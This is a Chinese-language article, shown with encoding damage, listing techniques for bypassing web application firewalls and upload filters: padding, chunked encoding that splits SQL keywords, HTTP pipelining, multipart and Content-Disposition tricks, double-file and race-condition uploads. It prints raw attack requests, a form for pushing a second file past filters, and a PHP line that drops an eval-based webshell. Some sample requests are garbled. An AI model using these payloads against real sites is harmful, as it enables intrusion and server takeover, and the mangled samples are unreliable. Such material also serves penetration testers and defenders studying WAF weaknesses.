一、WAF繞過
1、臟數(shù)據(jù)繞過
即傳入一段長數(shù)據(jù)使waf失效,從而實現(xiàn)繞過waf。某些waf處理POST的數(shù)據(jù)時,只會檢測開頭的8K,后面選擇全部放過。
例如,當(dāng)發(fā)現(xiàn)某網(wǎng)站存在一個反序列化漏洞時,但是無回顯,被waf攔截了
利用臟數(shù)據(jù)插入5000個x字符,可以成功繞過。
2、高并發(fā)繞過
對請求進(jìn)行并發(fā),攻擊請求會被負(fù)載均衡調(diào)度到不同節(jié)點,導(dǎo)致某些請求繞過了waf的攔截
3、http參數(shù)污染
在 php 語言中 id=1&id=2 后面的值會自動覆蓋前面的值,不同的語言有不同的特性??梢岳眠@點繞過一 些 waf 的攔截。
4、數(shù)據(jù)格式混淆
利用數(shù)據(jù)格式解析缺陷,存在兩種提交表單數(shù)據(jù)的請求類型
application/x-www-form-urlencoded
multipart/form-data 支持key-Value方式
可以修改提交格式
這兩種方式提交數(shù)據(jù)的效果是一樣的。
當(dāng)然,除了這種方式外一些其他方式也可能繞過waf,例如將傳入json數(shù)據(jù),將其修改為HTTP請求,或者修改content-type等方式(當(dāng)然是在應(yīng)用能夠正常解析的前提下)
5、編碼繞過
對請求數(shù)據(jù)進(jìn)行編碼,例如url編碼,Unicode編碼等,如果waf對數(shù)據(jù)不能有效的解碼,而應(yīng)用后端能夠正常解碼,就可以繞過waf。
例如最常見的url編碼,對數(shù)據(jù)進(jìn)行二次url編碼,waf進(jìn)行一次解碼并不能解析到有效的數(shù)據(jù),而后端在進(jìn)行解碼時傳入的為有效的惡意數(shù)據(jù)。
6、利用http協(xié)議繞過waf
6.1 分塊傳輸繞過waf
- 先在數(shù)據(jù)包中添加Transfer-Encoding: chunked
- 數(shù)字代表下一列字符所占位數(shù),最后需要用0獨占一行表示結(jié)束,結(jié)尾需要兩個回車
在頭部加入 Transfer-Encoding: chunked 之后,就代表這個報文采用了分塊編碼。這時,post請求報文中的數(shù)據(jù)部分需要改為用一系列分塊來傳輸。每個分塊包含十六進(jìn)制的長度值和數(shù)據(jù),長度值獨占一行,長度不包括它結(jié)尾的,也不包括分塊數(shù)據(jù)結(jié)尾的,且最后需要用0獨占一行表示結(jié)束。
注意:分塊編碼傳輸需要將關(guān)鍵字and,or,select ,union等關(guān)鍵字拆開編碼,不然仍然會被waf攔截。編碼過程中長度需包括空格的長度。最后用0表示編碼結(jié)束,并在0后空兩行表示數(shù)據(jù)包結(jié)束,不然點擊提交按鈕后會看到一直處于waiting狀態(tài)。
eg:
……………… Connection: close Upgrade-Insecure-Requests: I ontent-Type: application/x-www-form-urlencoded Content-Length: 50 4 a=1 4 unio 4 n se 5 lect 1 1 0
6.2 畸形包繞過(pipline繞過)
原理:
http協(xié)議是由tcp協(xié)議封裝而來,當(dāng)瀏覽器發(fā)起一個http請求時,瀏覽器先和服務(wù)器建立起連接tcp連接,然后發(fā)送http數(shù)據(jù)包(即我們用burpsuite截獲的數(shù)據(jù)),其中包含了一個Connection字段,一般值為close,apache等容器根據(jù)這個字段決定是保持該tcp連接或是斷開。當(dāng)發(fā)送的內(nèi)容太大,超過一個http包容量,需要分多次發(fā)送時,值會變成keep-alive,即本次發(fā)起的http請求所建立的tcp連接不斷開,直到所發(fā)送內(nèi)容結(jié)束Connection為close為止。
- 先關(guān)閉burpsuite長度更新,為get請求,先使用bp的method轉(zhuǎn)換為POST請求
- get請求中空格使用%20代替,Connection改為keep-alive
點擊burp中Repeater,在下拉選項中取消update Content-Length選中。
eg:
POST /sqlinject.php Http/1.0 Host:127001 User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101 Firefox/65.0 Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8 Accept-Language: en-US,en:q=0.5 Referer:http://127.0.0.1/sqlinjectphp?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 4 Connection:keep-alive Upgrade-Insecure-Requests: 1 id=1post/sqlinjeCt.php Http/1.0 Host:127.00.1 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010 Firefox/65.0 Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8 Accept-Language: en-US, en, q=0.5 Referer:http://127.0.0.1/sqlinjectphp?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 12 Connection: close pgrade-Insecure-Requests: 1 d=l and 1=1
然后你會收到兩個返回包,不過這種方法有可能被waf給攔截
6.3 協(xié)議覆蓋
原理:
HTTP頭里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三種,其中multipart/form-data表示數(shù)據(jù)被編碼為一條消息,頁上的每個控件對應(yīng)消息中的一個部分。所以,當(dāng)waf沒有規(guī)則匹配該協(xié)議傳輸?shù)臄?shù)據(jù)時可被繞過。
將頭部Content-Type改為multipart/form-data; boundary=69 然后設(shè)置分割符內(nèi)的Content-Disposition的name為要傳參數(shù)的名稱。數(shù)據(jù)部分則放在分割結(jié)束符上一行。由于是正常數(shù)據(jù)提交,數(shù)據(jù)是能被apache容器正確解析的,嘗試1 and 1=1也會被某狗waf攔截,但如果其他waf沒有規(guī)則攔截這種方式提交的數(shù)據(jù)包,那么同樣能繞過。
POST /sQlinJect php Http/1.0 User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0 Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8 Accept-Language: en-US, en: q=0.5 Referer:http://127.0.0.1/sqlinject.php?id Content-Type: multipart/form-data; boundary=69 Content-Length: 60 Connection close Upgrade-Insecure-Requests:1 --69 Content-Disposition: form-data; name="id" 1 --69--
7、請求方式轉(zhuǎn)換
waf 在對危險字符進(jìn)行檢測的時候,分別為 post 請求和 get 或者其它的請求方式設(shè)定了不同的匹配規(guī)則,請求被攔截,變 換請求方式有幾率能繞過檢測
例如:
或者修改為其它允許的方式,例如options, head等提交方式。
二、文件上傳繞過
1、等號繞過
在filename后多添加兩個等號
2、換行繞過
在文件后綴名處換行
3、填充垃圾字符
有些主機WAF軟件為了不影響web服務(wù)器的性能,會對校驗的用戶數(shù)據(jù)設(shè)置大小上限,比如1M。此種情況可以構(gòu)造一個大文件,前面1M的內(nèi)容為垃圾內(nèi)容,后面才是真正的木馬內(nèi)容,便可以繞過WAF對文件內(nèi)容的校驗。
在Content-Disposition字段后添加垃圾數(shù)據(jù),來繞過對文件名的校驗
當(dāng)然也可以將垃圾數(shù)據(jù)放在數(shù)據(jù)包最開頭,這樣便可以繞過對文件名的校驗。
4、NTFS ADS特性繞過
ADS是NTFS磁盤格式的一個特性,用于NTFS交換數(shù)據(jù)流。在上傳文件時,如果waf對請求正文的filename匹配不當(dāng)?shù)脑捒赡軙?dǎo)致繞過。
5、利用WAF的缺陷
- 在惡意代碼前加垃圾數(shù)據(jù);
- 在數(shù)據(jù)包前加垃圾數(shù)據(jù);
- 在Content-Disposition參數(shù)后面加垃圾數(shù)據(jù);
- 多加一個filename;
- 更改HTTP請求方法;
- 刪除實體里面的Conten-Type字段;
第一種是刪除Content整行,第二種是刪除C后面的字符。刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟著c.php。 - 刪除Content-Disposition字段里的空格
- 增加一個空格
- 修改Content-Disposition字段值的大小寫
- 文件名后綴處回車
- 多個Content-Disposition
6、雙文件上傳
本意為上傳兩個或多個文件去突破。上傳點支持多文件上傳,但是卻只對第一個文件做了過濾。
利用方式:
- 在存在雙文件上傳漏洞的頁面中,查看上傳的頁面。F12找到上傳的post表單,action屬性是指定上傳檢測頁面,一般是寫的絕對路徑,比如:
xxx.asp/xxx.php
- 補全url:
https://www.xxx.com/xxx.php(asp)
- 構(gòu)造本地post提交表單
<form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐data"> <input name="FileName1" type="FILE" class="tx1" size="40"> <input name="FileName2" type="FILE" class="tx1" size="40"> <input type="submit" name="Submit" value="上傳"> </form>
利用時只需要修改action的值為指定上傳頁面即可
- 第一個文件上傳允許的文件類型(
.jpg
?.png
?.gif
?等),第二個上傳文件是一句話木馬或者WebShell腳本。這樣就可以突破上傳限制,成功上傳木馬到服務(wù)器。
eg:
------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript
最后上傳的文件是test.php而非test.txt,但是取的文件名只取了第一個就會被Bypass。
7、條件競爭上傳
一些網(wǎng)站上傳文件的邏輯時先允許上傳任意文件,然后檢查上傳文件的文件是否包含WebShell腳本,如果包含則刪除該文件。這里存在的問題是文件上傳成功后和刪除文件之間存在一個短暫的時間差(因為需要執(zhí)行檢查文件和刪除文件的操作),攻擊者可以利用這個時間差完成競爭條件的上傳漏洞攻擊。
- 攻擊者需要先上傳一個WebShell腳本1.php,1.php的內(nèi)容為生成一個新的WebShell腳本shell.php,1.php寫入如下代碼
<?php fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>'); ?>
- 當(dāng)1.php上傳完成后,客戶端立即訪問1.php,則會在服務(wù)端當(dāng)前目錄下自動生成shell.php,這時攻擊者就利用了時間差完成了WebShell的上傳
8、特性
多個filename
早期版本安全狗,可以多加一個filename
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"
最終上傳成功的文件名是test.php。但是由于解析文件名時,會解析到第一個。正則默認(rèn)都會匹配到第一個。
交換name和filename的順序
規(guī)定Content-Disposition必須在最前面,所以只能交換name和filename的順序。有的WAF可能會匹配name在前面,filename在后面,所以下面姿勢會導(dǎo)致Bypass。
Content-Disposition: form-data; filename="xx.php"; name=file_x
去掉引號,雙引號變成單引號
Content-Disposition: form-data; name=file_x; filename="xx.php" Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php Content-Disposition: form-data; name='file_x'; filename='xx.php'
單引號、雙引號、不要引號,都能上傳。
大小寫
對這三個固定的字符串進(jìn)行大小寫轉(zhuǎn)換
-
Content-Disposition
-
name
-
filename
空格
在: ; =添加1個或者多個空格。
去掉或修改Content-Disposition值
有的WAF在解析的時候,認(rèn)為Content-Disposition值一定是form-data,造成繞過。
Content-Disposition: name='file_x'; filename='xx.php'
多個boundary
最后上傳的文件是test.php而非test.txt,但是取的文件名只取了第一個就會被Bypass。
------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.txt" Content-Type: text/javascript ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript
多個分號
文件解析時,可能解析不到文件名,導(dǎo)致繞過。
Content-Disposition: form-data; name="file_x";;; filename="test.php"
Header在boundary前添加任意字符
PHP支持,JAVA報錯
Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
filename換行
PHP支持,Java不支持
Content-Disposition: form-data; name="file_x"; file name="test.php"
name和filename添加任意字符串
PHP支持,Java不支持
Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";
POST/GET文章來源:http://www.zghlxwxcb.cn/news/detail-701109.html
有些WAF的規(guī)則是:如果數(shù)據(jù)包為POST類型,則校驗數(shù)據(jù)包內(nèi)容。
此種情況可以上傳一個POST型的數(shù)據(jù)包,抓包將POST改為GET。文章來源地址http://www.zghlxwxcb.cn/news/detail-701109.html
到了這里,關(guān)于網(wǎng)絡(luò)安全各類WAF繞過技巧的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!